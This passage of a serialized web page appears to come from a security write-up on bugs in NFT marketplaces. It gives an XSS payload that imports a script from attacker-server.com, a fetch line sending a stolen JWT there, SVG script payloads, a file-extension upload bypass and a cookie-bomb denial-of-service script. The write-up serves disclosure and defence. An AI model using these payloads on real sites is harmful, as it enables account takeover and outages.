g":271,"props":46643,"children":46644},{"style":14289},[46645],{"type":30,"value":46627},{"type":25,"tag":271,"props":46647,"children":46648},{"style":17388},[46649],{"type":30,"value":44477},{"type":25,"tag":271,"props":46651,"children":46652},{"style":14289},[46653],{"type":30,"value":46654},"`)>","",{"type":25,"tag":271,"props":46656,"children":46657},{"style":17388},[46658],{"type":30,"value":45840},{"type":25,"tag":271,"props":46660,"children":46661},{"style":14289},[46662],{"type":30,"value":46663},"":"",{"type":25,"tag":271,"props":46665,"children":46666},{"style":17388},[46667],{"type":30,"value":46668},"profile-assets",{"type":25,"tag":271,"props":46670,"children":46671},{"style":14289},[46672],{"type":30,"value":46673},"","",{"type":25,"tag":271,"props":46675,"children":46676},{"style":17388},[46677],{"type":30,"value":45869},{"type":25,"tag":271,"props":46679,"children":46680},{"style":14289},[46681],{"type":30,"value":46663},{"type":25,"tag":271,"props":46683,"children":46684},{"style":17388},[46685],{"type":30,"value":45878},{"type":25,"tag":271,"props":46687,"children":46688},{"style":14289},[46689],{"type":30,"value":46690},""}",{"type":25,"tag":271,"props":46692,"children":46693},{"style":17388},[46694],{"type":30,"value":6294},{"type":25,"tag":271,"props":46696,"children":46697},{"style":45488},[46698],{"type":30,"value":45892},{"type":25,"tag":271,"props":46700,"children":46701},{"class":13593,"line":16434},[46702,46706,46710,46714,46718,46722,46726,46730,46734],{"type":25,"tag":271,"props":46703,"children":46704},{"style":45488},[46705],{"type":30,"value":45701},{"type":25,"tag":271,"props":46707,"children":46708},{"style":14289},[46709],{"type":30,"value":13871},{"type":25,"tag":271,"props":46711,"children":46712},{"style":13598},[46713],{"type":30,"value":45653},{"type":25,"tag":271,"props":46715,"children":46716},{"style":13603},[46717],{"type":30,"value":1065},{"type":25,"tag":271,"props":46719,"children":46720},{"style":17388},[46721],{"type":30,"value":45916},{"type":25,"tag":271,"props":46723,"children":46724},{"style":13598},[46725],{"type":30,"value":45623},{"type":25,"tag":271,"props":46727,"children":46728},{"style":13603},[46729],{"type":30,"value":1065},{"type":25,"tag":271,"props":46731,"children":46732},{"style":17388},[46733],{"type":30,"value":45929},{"type":25,"tag":271,"props":46735,"children":46736},{"style":45488},[46737],{"type":30,"value":45892},{"type":25,"tag":271,"props":46739,"children":46740},{"class":13593,"line":16447},[46741,46745,46749],{"type":25,"tag":271,"props":46742,"children":46743},{"style":45488},[46744],{"type":30,"value":45941},{"type":25,"tag":271,"props":46746,"children":46747},{"style":14289},[46748],{"type":30,"value":45563},{"type":25,"tag":271,"props":46750,"children":46751},{"style":45488},[46752],{"type":30,"value":14448},{"type":25,"tag":271,"props":46754,"children":46755},{"class":13593,"line":16465},[46756,46760,46764],{"type":25,"tag":271,"props":46757,"children":46758},{"style":45488},[46759],{"type":30,"value":45957},{"type":25,"tag":271,"props":46761,"children":46762},{"style":14289},[46763],{"type":30,"value":45512},{"type":25,"tag":271,"props":46765,"children":46766},{"style":45488},[46767],{"type":30,"value":14448},{"type":25,"tag":271,"props":46769,"children":46770},{"class":13593,"line":16486},[46771],{"type":25,"tag":271,"props":46772,"children":46773},{"emptyLinePlaceholder":18},[46774],{"type":30,"value":16829},{"type":25,"tag":271,"props":46776,"children":46777},{"class":13593,"line":16495},[46778,46782,46786],{"type":25,"tag":271,"props":46779,"children":46780},{"style":45488},[46781],{"type":30,"value":45507},{"type":25,"tag":271,"props":46783,"children":46784},{"style":14289},[46785],{"type":30,"value":45528},{"type":25,"tag":271,"props":46787,"children":46788},{"style":45488},[46789],{"type":30,"value":14448},{"type":25,"tag":271,"props":46791,"children":46792},{"class":13593,"line":16744},[46793],{"type":25,"tag":271,"props":46794,"children":46795},{"emptyLinePlaceholder":18},[46796],{"type":30,"value":16829},{"type":25,"tag":271,"props":46798,"children":46799},{"class":13593,"line":16761},[46800,46804],{"type":25,"tag":271,"props":46801,"children":46802},{"style":13625},[46803],{"type":30,"value":46002},{"type":25,"tag":271,"props":46805,"children":46806},{"style":14289},[46807],{"type":30,"value":24005},{"type":25,"tag":271,"props":46809,"children":46810},{"class":13593,"line":16778},[46811,46815,46819,46823,46827,46831,46835,46839,46843,46847,46851,46855],{"type":25,"tag":271,"props":46812,"children":46813},{"style":13598},[46814],{"type":30,"value":46014},{"type":25,"tag":271,"props":46816,"children":46817},{"style":13598},[46818],{"type":30,"value":46019},{"type":25,"tag":271,"props":46820,"children":46821},{"style":13603},[46822],{"type":30,"value":46024},{"type":25,"tag":271,"props":46824,"children":46825},{"style":16171},[46826],{"type":30,"value":46029},{"type":25,"tag":271,"props":46828,"children":46829},{"style":13603},[46830],{"type":30,"value":16213},{"type":25,"tag":271,"props":46832,"children":46833},{"style":16171},[46834],{"type":30,"value":46029},{"type":25,"tag":271,"props":46836,"children":46837},{"style":13620},[46838],{"type":30,"value":46042},{"type":25,"tag":271,"props":46840,"children":46841},{"style":13603},[46842],{"type":30,"value":394},{"type":25,"tag":271,"props":46844,"children":46845},{"style":17388},[46846],{"type":30,"value":46051},{"type":25,"tag":271,"props":46848,"children":46849},{"style":13603},[46850],{"type":30,"value":46056},{"type":25,"tag":271,"props":46852,"children":46853},{"style":13620},[46854],{"type":30,"value":46061},{"type":25,"tag":271,"props":46856,"children":46857},{"style":13603},[46858],{"type":30,"value":20857},{"type":25,"tag":271,"props":46860,"children":46861},{"class":13593,"line":16791},[46862],{"type":25,"tag":271,"props":46863,"children":46864},{"emptyLinePlaceholder":18},[46865],{"type":30,"value":16829},{"type":25,"tag":271,"props":46867,"children":46868},{"class":13593,"line":16800},[46869,46873,46877,46881,46885,46889,46893,46897,46901,46905,46909,46913,46917],{"type":25,"tag":271,"props":46870,"children":46871},{"style":13598},[46872],{"type":30,"value":16208},{"type":25,"tag":271,"props":46874,"children":46875},{"style":13598},[46876],{"type":30,"value":46084},{"type":25,"tag":271,"props":46878,"children":46879},{"style":13603},[46880],{"type":30,"value":46024},{"type":25,"tag":271,"props":46882,"children":46883},{"style":14289},[46884],{"type":30,"value":28244},{"type":25,"tag":271,"props":46886,"children":46887},{"style":13620},[46888],{"type":30,"value":46097},{"type":25,"tag":271,"props":46890,"children":46891},{"style":13603},[46892],{"type":30,"value":46102},{"type":25,"tag":271,"props":46894,"children":46895},{"style":13598},[46896],{"type":30,"value":46061},{"type":25,"tag":271,"props":46898,"children":46899},{"style":13603},[46900],{"type":30,"value":36160},{"type":25,"tag":271,"props":46902,"children":46903},{"style":17388},[46904],{"type":30,"value":46115},{"type":25,"tag":271,"props":46906,"children":46907},{"style":13603},[46908],{"type":30,"value":46120},{"type":25,"tag":271,"props":46910,"children":46911},{"style":13598},[46912],{"type":30,"value":46125},{"type":25,"tag":271,"props":46914,"children":46915},{"style":17388},[46916],{"type":30,"value":46130},{"type":25,"tag":271,"props":46918,"children":46919},{"style":13603},[46920],{"type":30,"value":46135},{"type":25,"tag":271,"props":46922,"children":46923},{"class":13593,"line":16823},[46924,46928,46932,46936,46940,46944],{"type":25,"tag":271,"props":46925,"children":46926},{"style":13598},[46927],{"type":30,"value":46014},{"type":25,"tag":271,"props":46929,"children":46930},{"style":13598},[46931],{"type":30,"value":46147},{"type":25,"tag":271,"props":46933,"children":46934},{"style":13603},[46935],{"type":30,"value":46024},{"type":25,"tag":271,"props":46937,"children":46938},{"style":14289},[46939],{"type":30,"value":28244},{"type":25,"tag":271,"props":46941,"children":46942},{"style":13620},[46943],{"type":30,"value":46160},{"type":25,"tag":271,"props":46945,"children":46946},{"style":13603},[46947],{"type":30,"value":16820},{"type":25,"tag":271,"props":46949,"children":46950},{"class":13593,"line":16832},[46951,46955,46959,46963,46967,46971,46975,46979],{"type":25,"tag":271,"props":46952,"children":46953},{"style":13598},[46954],{"type":30,"value":46172},{"type":25,"tag":271,"props":46956,"children":46957},{"style":13603},[46958],{"type":30,"value":1860},{"type":25,"tag":271,"props":46960,"children":46961},{"style":13598},[46962],{"type":30,"value":46181},{"type":25,"tag":271,"props":46964,"children":46965},{"style":13603},[46966],{"type":30,"value":1860},{"type":25,"tag":271,"props":46968,"children":46969},{"style":13620},[46970],{"type":30,"value":22761},{"type":25,"tag":271,"props":46972,"children":46973},{"style":13603},[46974],{"type":30,"value":394},{"type":25,"tag":271,"props":46976,"children":46977},{"style":13598},[46978],{"type":30,"value":4503},{"type":25,"tag":271,"props":46980,"children":46981},{"style":13603},[46982],{"type":30,"value":13665},{"type":25,"tag":271,"props":46984,"children":46985},{"class":13593,"line":16841},[46986],{"type":25,"tag":271,"props":46987,"children":46988},{"emptyLinePlaceholder":18},[46989],{"type":30,"value":16829},{"type":25,"tag":271,"props":46991,"children":46992},{"class":13593,"line":16907},[46993,46997,47001,47005,47009,47013,47017,47021],{"type":25,"tag":271,"props":46994,"children":46995},{"style":13598},[46996],{"type":30,"value":46216},{"type":25,"tag":271,"props":46998,"children":46999},{"style":13603},[47000],{"type":30,"value":1860},{"type":25,"tag":271,"props":47002,"children":47003},{"style":13598},[47004],{"type":30,"value":46225},{"type":25,"tag":271,"props":47006,"children":47007},{"style":13603},[47008],{"type":30,"value":46024},{"type":25,"tag":271,"props":47010,"children":47011},{"style":13598},[47012],{"type":30,"value":46234},{"type":25,"tag":271,"props":47014,"children":47015},{"style":13603},[47016],{"type":30,"value":1860},{"type":25,"tag":271,"props":47018,"children":47019},{"style":13598},[47020],{"type":30,"value":46225},{"type":25,"tag":271,"props":47022,"children":47023},{"style":13603},[47024],{"type":30,"value":16165},{"type":25,"tag":271,"props":47026,"children":47027},{"class":13593,"line":16915},[47028],{"type":25,"tag":271,"props":47029,"children":47030},{"emptyLinePlaceholder":18},[47031],{"type":30,"value":16829},{"type":25,"tag":271,"props":47033,"children":47034},{"class":13593,"line":16945},[47035,47040,47044,47049],{"type":25,"tag":271,"props":47036,"children":47037},{"style":13598},[47038],{"type":30,"value":47039},"        form123",{"type":25,"tag":271,"props":47041,"children":47042},{"style":13603},[47043],{"type":30,"value":1860},{"type":25,"tag":271,"props":47045,"children":47046},{"style":13620},[47047],{"type":30,"value":47048},"submit",{"type":25,"tag":271,"props":47050,"children":47051},{"style":13603},[47052],{"type":30,"value":20857},{"type":25,"tag":271,"props":47054,"children":47055},{"class":13593,"line":16953},[47056,47060],{"type":25,"tag":271,"props":47057,"children":47058},{"style":14289},[47059],{"type":30,"value":46254},{"type":25,"tag":271,"props":47061,"children":47062},{"style":13625},[47063],{"type":30,"value":46259},{"type":25,"tag":271,"props":47065,"children":47066},{"class":13593,"line":16984},[47067],{"type":25,"tag":271,"props":47068,"children":47069},{"emptyLinePlaceholder":18},[47070],{"type":30,"value":16829},{"type":25,"tag":271,"props":47072,"children":47073},{"class":13593,"line":16992},[47074,47078,47082],{"type":25,"tag":271,"props":47075,"children":47076},{"style":45488},[47077],{"type":30,"value":45957},{"type":25,"tag":271,"props":47079,"children":47080},{"style":14289},[47081],{"type":30,"value":45528},{"type":25,"tag":271,"props":47083,"children":47084},{"style":45488},[47085],{"type":30,"value":14448},{"type":25,"tag":271,"props":47087,"children":47088},{"class":13593,"line":17052},[47089,47093,47097],{"type":25,"tag":271,"props":47090,"children":47091},{"style":45488},[47092],{"type":30,"value":45542},{"type":25,"tag":271,"props":47094,"children":47095},{"style":14289},[47096],{"type":30,"value":45495},{"type":25,"tag":271,"props":47098,"children":47099},{"style":45488},[47100],{"type":30,"value":14448},{"type":25,"tag":26,"props":47102,"children":47103},{},[47104],{"type":30,"value":47105},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":25,"tag":7764,"props":47107,"children":47111},{"className":47108,"code":47109,"language":47110,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n","json",[47112],{"type":25,"tag":264,"props":47113,"children":47114},{"__ignoreMap":7},[47115,47122,47143,47164,47181],{"type":25,"tag":271,"props":47116,"children":47117},{"class":13593,"line":13594},[47118],{"type":25,"tag":271,"props":47119,"children":47120},{"style":13625},[47121],{"type":30,"value":24005},{"type":25,"tag":271,"props":47123,"children":47124},{"class":13593,"line":11641},[47125,47130,47134,47139],{"type":25,"tag":271,"props":47126,"children":47127},{"style":13598},[47128],{"type":30,"value":47129},"  \"address\"",{"type":25,"tag":271,"props":47131,"children":47132},{"style":13625},[47133],{"type":30,"value":28453},{"type":25,"tag":271,"props":47135,"children":47136},{"style":17388},[47137],{"type":30,"value":47138},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":25,"tag":271,"props":47140,"children":47141},{"style":13625},[47142],{"type":30,"value":14351},{"type":25,"tag":271,"props":47144,"children":47145},{"class":13593,"line":14354},[47146,47151,47155,47160],{"type":25,"tag":271,"props":47147,"children":47148},{"style":13598},[47149],{"type":30,"value":47150},"  \"to\"",{"type":25,"tag":271,"props":47152,"children":47153},{"style":13625},[47154],{"type":30,"value":28453},{"type":25,"tag":271,"props":47156,"children":47157},{"style":17388},[47158],{"type":30,"value":47159},"\"profile-assets\"",{"type":25,"tag":271,"props":47161,"children":47162},{"style":13625},[47163],{"type":30,"value":14351},{"type":25,"tag":271,"props":47165,"children":47166},{"class":13593,"line":14391},[47167,47172,47176],{"type":25,"tag":271,"props":47168,"children":47169},{"style":13598},[47170],{"type":30,"value":47171},"  \"type\"",{"type":25,"tag":271,"props":47173,"children":47174},{"style":13625},[47175],{"type":30,"value":28453},{"type":25,"tag":271,"props":47177,"children":47178},{"style":17388},[47179],{"type":30,"value":47180},"\"icon\"\n",{"type":25,"tag":271,"props":47182,"children":47183},{"class":13593,"line":14400},[47184],{"type":25,"tag":271,"props":47185,"children":47186},{"style":13625},[47187],{"type":30,"value":17058},{"type":25,"tag":26,"props":47189,"children":47190},{},[47191],{"type":30,"value":47192},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":25,"tag":7764,"props":47194,"children":47196},{"className":44475,"code":47195,"language":44477,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[47197],{"type":25,"tag":264,"props":47198,"children":47199},{"__ignoreMap":7},[47200],{"type":25,"tag":271,"props":47201,"children":47202},{"class":13593,"line":13594},[47203,47208,47212,47217,47222,47227,47231,47236,47240,47245,47249,47253,47257],{"type":25,"tag":271,"props":47204,"children":47205},{"style":13620},[47206],{"type":30,"value":47207},"fetch",{"type":25,"tag":271,"props":47209,"children":47210},{"style":13625},[47211],{"type":30,"value":394},{"type":25,"tag":271,"props":47213,"children":47214},{"style":17388},[47215],{"type":30,"value":47216},"`https://attacker-server.com/?token_leak=",{"type":25,"tag":271,"props":47218,"children":47219},{"style":14289},[47220],{"type":30,"value":47221},"${",{"type":25,"tag":271,"props":47223,"children":47224},{"style":13598},[47225],{"type":30,"value":47226},"localStorage",{"type":25,"tag":271,"props":47228,"children":47229},{"style":13603},[47230],{"type":30,"value":1860},{"type":25,"tag":271,"props":47232,"children":47233},{"style":13620},[47234],{"type":30,"value":47235},"getItem",{"type":25,"tag":271,"props":47237,"children":47238},{"style":13603},[47239],{"type":30,"value":394},{"type":25,"tag":271,"props":47241,"children":47242},{"style":17388},[47243],{"type":30,"value":47244},"'token'",{"type":25,"tag":271,"props":47246,"children":47247},{"style":13603},[47248],{"type":30,"value":440},{"type":25,"tag":271,"props":47250,"children":47251},{"style":14289},[47252],{"type":30,"value":978},{"type":25,"tag":271,"props":47254,"children":47255},{"style":17388},[47256],{"type":30,"value":23506},{"type":25,"tag":271,"props":47258,"children":47259},{"style":13625},[47260],{"type":30,"value":13665},{"type":25,"tag":247,"props":47262,"children":47264},{"id":47263},"svgs",[47265],{"type":30,"value":47266},"SVGs",{"type":25,"tag":26,"props":47268,"children":47269},{},[47270],{"type":30,"value":47271},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":25,"tag":26,"props":47273,"children":47274},{},[47275],{"type":30,"value":47276},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":25,"tag":7764,"props":47278,"children":47280},{"className":44475,"code":47279,"language":44477,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[47281],{"type":25,"tag":264,"props":47282,"children":47283},{"__ignoreMap":7},[47284,47330,47367,47374,47403,47435,47463,47471,47487],{"type":25,"tag":271,"props":47285,"children":47286},{"class":13593,"line":13594},[47287,47292,47297,47302,47306,47311,47316,47320,47325],{"type":25,"tag":271,"props":47288,"children":47289},{"style":13603},[47290],{"type":30,"value":47291},"\u003C?",{"type":25,"tag":271,"props":47293,"children":47294},{"style":13598},[47295],{"type":30,"value":47296},"xml",{"type":25,"tag":271,"props":47298,"children":47299},{"style":13598},[47300],{"type":30,"value":47301}," version",{"type":25,"tag":271,"props":47303,"children":47304},{"style":13603},[47305],{"type":30,"value":1065},{"type":25,"tag":271,"props":47307,"children":47308},{"style":17388},[47309],{"type":30,"value":47310},"\"1.0\"",{"type":25,"tag":271,"props":47312,"children":47313},{"style":13598},[47314],{"type":30,"value":47315}," encoding",{"type":25,"tag":271,"props":47317,"children":47318},{"style":13603},[47319],{"type":30,"value":1065},{"type":25,"tag":271,"props":47321,"children":47322},{"style":17388},[47323],{"type":30,"value":47324},"\"UTF-8\"",{"type":25,"tag":271,"props":47326,"children":47327},{"style":13603},[47328],{"type":30,"value":47329},"?>\n",{"type":25,"tag":271,"props":47331,"children":47332},{"class":13593,"line":11641},[47333,47338,47343,47348,47353,47358,47363],{"type":25,"tag":271,"props":47334,"children":47335},{"style":13603},[47336],{"type":30,"value":47337},"\u003C!",{"type":25,"tag":271,"props":47339,"children":47340},{"style":13598},[47341],{"type":30,"value":47342},"DOCTYPE",{"type":25,"tag":271,"props":47344,"children":47345},{"style":13598},[47346],{"type":30,"value":47347}," svg",{"type":25,"tag":271,"props":47349,"children":47350},{"style":13598},[47351],{"type":30,"value":47352}," PUBLIC",{"type":25,"tag":271,"props":47354,"children":47355},{"style":17388},[47356],{"type":30,"value":47357}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":25,"tag":271,"props":47359,"children":47360},{"style":17388},[47361],{"type":30,"value":47362}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":25,"tag":271,"props":47364,"children":47365},{"style":13603},[47366],{"type":30,"value":14448},{"type":25,"tag":271,"props":47368,"children":47369},{"class":13593,"line":14354},[47370],{"type":25,"tag":271,"props":47371,"children":47372},{"emptyLinePlaceholder":18},[47373],{"type":30,"value":16829},{"type":25,"tag":271,"props":47375,"children":47376},{"class":13593,"line":14391},[47377,47381,47385,47390,47394,47399],{"type":25,"tag":271,"props":47378,"children":47379},{"style":45488},[47380],{"type":30,"value":21839},{"type":25,"tag":271,"props":47382,"children":47383},{"style":14289},[47384],{"type":30,"value":4594},{"type":25,"tag":271,"props":47386,"children":47387},{"style":13598},[47388],{"type":30,"value":47389}," xmlns",{"type":25,"tag":271,"props":47391,"children":47392},{"style":13603},[47393],{"type":30,"value":1065},{"type":25,"tag":271,"props":47395,"children":47396},{"style":17388},[47397],{"type":30,"value":47398},"\"http://www.w3.org/2000/svg\"",{"type":25,"tag":271,"props":47400,"children":47401},{"style":45488},[47402],{"type":30,"value":14448},{"type":25,"tag":271,"props":47404,"children":47405},{"class":13593,"line":14400},[47406,47410,47415,47419,47423,47427,47431],{"type":25,"tag":271,"props":47407,"children":47408},{"style":45488},[47409],{"type":30,"value":45507},{"type":25,"tag":271,"props":47411,"children":47412},{"style":14289},[47413],{"type":30,"value":47414},"title",{"type":25,"tag":271,"props":47416,"children":47417},{"style":45488},[47418],{"type":30,"value":23586},{"type":25,"tag":271,"props":47420,"children":47421},{"style":13625},[47422],{"type":30,"value":44349},{"type":25,"tag":271,"props":47424,"children":47425},{"style":45488},[47426],{"type":30,"value":45542},{"type":25,"tag":271,"props":47428,"children":47429},{"style":14289},[47430],{"type":30,"value":47414},{"type":25,"tag":271,"props":47432,"children":47433},{"style":45488},[47434],{"type":30,"value":14448},{"type":25,"tag":271,"props":47436,"children":47437},{"class":13593,"line":16406},[47438,47442,47446,47450,47454,47459],{"type":25,"tag":271,"props":47439,"children":47440},{"style":45488},[47441],{"type":30,"value":45507},{"type":25,"tag":271,"props":47443,"children":47444},{"style":14289},[47445],{"type":30,"value":45528},{"type":25,"tag":271,"props":47447,"children":47448},{"style":13598},[47449],{"type":30,"value":45653},{"type":25,"tag":271,"props":47451,"children":47452},{"style":13603},[47453],{"type":30,"value":1065},{"type":25,"tag":271,"props":47455,"children":47456},{"style":17388},[47457],{"type":30,"value":47458},"\"text/javascript\"",{"type":25,"tag":271,"props":47460,"children":47461},{"style":45488},[47462],{"type":30,"value":14448},{"type":25,"tag":271,"props":47464,"children":47465},{"class":13593,"line":16434},[47466],{"type":25,"tag":271,"props":47467,"children":47468},{"style":13625},[47469],{"type":30,"value":47470},"   alert(document.domain);\n",{"type":25,"tag":271,"props":47472,"children":47473},{"class":13593,"line":16447},[47474,47479,47483],{"type":25,"tag":271,"props":47475,"children":47476},{"style":45488},[47477],{"type":30,"value":47478},"   \u003C/",{"type":25,"tag":271,"props":47480,"children":47481},{"style":14289},[47482],{"type":30,"value":45528},{"type":25,"tag":271,"props":47484,"children":47485},{"style":45488},[47486],{"type":30,"value":14448},{"type":25,"tag":271,"props":47488,"children":47489},{"class":13593,"line":16465},[47490,47495,47499],{"type":25,"tag":271,"props":47491,"children":47492},{"style":45488},[47493],{"type":30,"value":47494}," \u003C/",{"type":25,"tag":271,"props":47496,"children":47497},{"style":14289},[47498],{"type":30,"value":4594},{"type":25,"tag":271,"props":47500,"children":47501},{"style":45488},[47502],{"type":30,"value":14448},{"type":25,"tag":26,"props":47504,"children":47505},{},[47506,47508,47515],{"type":30,"value":47507},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":25,"tag":83,"props":47509,"children":47512},{"href":47510,"rel":47511},"https://xtingles.com/",[9066],[47513],{"type":30,"value":47514},"xtingles Marketplace",{"type":30,"value":1860},{"type":25,"tag":26,"props":47517,"children":47518},{},[47519],{"type":30,"value":47520},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":25,"tag":26,"props":47522,"children":47523},{},[47524],{"type":30,"value":47525},"Below, we show you how we did it.",{"type":25,"tag":26,"props":47527,"children":47528},{},[47529],{"type":30,"value":47530},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":25,"tag":26,"props":47532,"children":47533},{},[47534],{"type":25,"tag":698,"props":47535,"children":47537},{"alt":7,"src":47536},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":25,"tag":26,"props":47539,"children":47540},{},[47541],{"type":30,"value":47542},"After changing the extension inside the file name.",{"type":25,"tag":26,"props":47544,"children":47545},{},[47546],{"type":25,"tag":698,"props":47547,"children":47549},{"alt":7,"src":47548},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":25,"tag":247,"props":47551,"children":47553},{"id":47552},"svgs-return",[47554],{"type":30,"value":47555},"SVGs Return",{"type":25,"tag":26,"props":47557,"children":47558},{},[47559],{"type":30,"value":47560},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":25,"tag":26,"props":47562,"children":47563},{},[47564],{"type":30,"value":47565},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":25,"tag":26,"props":47567,"children":47568},{},[47569],{"type":30,"value":47570},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":25,"tag":7764,"props":47572,"children":47576},{"className":47573,"code":47574,"language":47575,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n \u003C/svg>\n","jsx",[47577],{"type":25,"tag":264,"props":47578,"children":47579},{"__ignoreMap":7},[47580,47619,47650,47657,47684,47715,47742,47750,47758,47765,47777,47852,47860,47875],{"type":25,"tag":271,"props":47581,"children":47582},{"class":13593,"line":13594},[47583,47587,47591,47595,47599,47603,47607,47611,47615],{"type":25,"tag":271,"props":47584,"children":47585},{"style":13603},[47586],{"type":30,"value":47291},{"type":25,"tag":271,"props":47588,"children":47589},{"style":13598},[47590],{"type":30,"value":47296},{"type":25,"tag":271,"props":47592,"children":47593},{"style":13598},[47594],{"type":30,"value":47301},{"type":25,"tag":271,"props":47596,"children":47597},{"style":13603},[47598],{"type":30,"value":1065},{"type":25,"tag":271,"props":47600,"children":47601},{"style":17388},[47602],{"type":30,"value":47310},{"type":25,"tag":271,"props":47604,"children":47605},{"style":13598},[47606],{"type":30,"value":47315},{"type":25,"tag":271,"props":47608,"children":47609},{"style":13603},[47610],{"type":30,"value":1065},{"type":25,"tag":271,"props":47612,"children":47613},{"style":17388},[47614],{"type":30,"value":47324},{"type":25,"tag":271,"props":47616,"children":47617},{"style":13603},[47618],{"type":30,"value":47329},{"type":25,"tag":271,"props":47620,"children":47621},{"class":13593,"line":11641},[47622,47626,47630,47634,47638,47642,47646],{"type":25,"tag":271,"props":47623,"children":47624},{"style":13603},[47625],{"type":30,"value":47337},{"type":25,"tag":271,"props":47627,"children":47628},{"style":13598},[47629],{"type":30,"value":47342},{"type":25,"tag":271,"props":47631,"children":47632},{"style":13598},[47633],{"type":30,"value":47347},{"type":25,"tag":271,"props":47635,"children":47636},{"style":13598},[47637],{"type":30,"value":47352},{"type":25,"tag":271,"props":47639,"children":47640},{"style":17388},[47641],{"type":30,"value":47357},{"type":25,"tag":271,"props":47643,"children":47644},{"style":17388},[47645],{"type":30,"value":47362},{"type":25,"tag":271,"props":47647,"children":47648},{"style":13603},[47649],{"type":30,"value":14448},{"type":25,"tag":271,"props":47651,"children":47652},{"class":13593,"line":14354},[47653],{"type":25,"tag":271,"props":47654,"children":47655},{"emptyLinePlaceholder":18},[47656],{"type":30,"value":16829},{"type":25,"tag":271,"props":47658,"children":47659},{"class":13593,"line":14391},[47660,47664,47668,47672,47676,47680],{"type":25,"tag":271,"props":47661,"children":47662},{"style":45488},[47663],{"type":30,"value":21839},{"type":25,"tag":271,"props":47665,"children":47666},{"style":14289},[47667],{"type":30,"value":4594},{"type":25,"tag":271,"props":47669,"children":47670},{"style":13598},[47671],{"type":30,"value":47389},{"type":25,"tag":271,"props":47673,"children":47674},{"style":13603},[47675],{"type":30,"value":1065},{"type":25,"tag":271,"props":47677,"children":47678},{"style":17388},[47679],{"type":30,"value":47398},{"type":25,"tag":271,"props":47681,"children":47682},{"style":45488},[47683],{"type":30,"value":14448},{"type":25,"tag":271,"props":47685,"children":47686},{"class":13593,"line":14400},[47687,47691,47695,47699,47703,47707,47711],{"type":25,"tag":271,"props":47688,"children":47689},{"style":45488},[47690],{"type":30,"value":45507},{"type":25,"tag":271,"props":47692,"children":47693},{"style":14289},[47694],{"type":30,"value":47414},{"type":25,"tag":271,"props":47696,"children":47697},{"style":45488},[47698],{"type":30,"value":23586},{"type":25,"tag":271,"props":47700,"children":47701},{"style":13625},[47702],{"type":30,"value":44349},{"type":25,"tag":271,"props":47704,"children":47705},{"style":45488},[47706],{"type":30,"value":45542},{"type":25,"tag":271,"props":47708,"children":47709},{"style":14289},[47710],{"type":30,"value":47414},{"type":25,"tag":271,"props":47712,"children":47713},{"style":45488},[47714],{"type":30,"value":14448},{"type":25,"tag":271,"props":47716,"children":47717},{"class":13593,"line":16406},[47718,47722,47726,47730,47734,47738],{"type":25,"tag":271,"props":47719,"children":47720},{"style":45488},[47721],{"type":30,"value":45507},{"type":25,"tag":271,"props":47723,"children":47724},{"style":14289},[47725],{"type":30,"value":45528},{"type":25,"tag":271,"props":47727,"children":47728},{"style":13598},[47729],{"type":30,"value":45653},{"type":25,"tag":271,"props":47731,"children":47732},{"style":13603},[47733],{"type":30,"value":1065},{"type":25,"tag":271,"props":47735,"children":47736},{"style":17388},[47737],{"type":30,"value":47458},{"type":25,"tag":271,"props":47739,"children":47740},{"style":45488},[47741],{"type":30,"value":14448},{"type":25,"tag":271,"props":47743,"children":47744},{"class":13593,"line":16434},[47745],{"type":25,"tag":271,"props":47746,"children":47747},{"style":13625},[47748],{"type":30,"value":47749},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":25,"tag":271,"props":47751,"children":47752},{"class":13593,"line":16447},[47753],{"type":25,"tag":271,"props":47754,"children":47755},{"style":13625},[47756],{"type":30,"value":47757},"   var Set_Cookie = 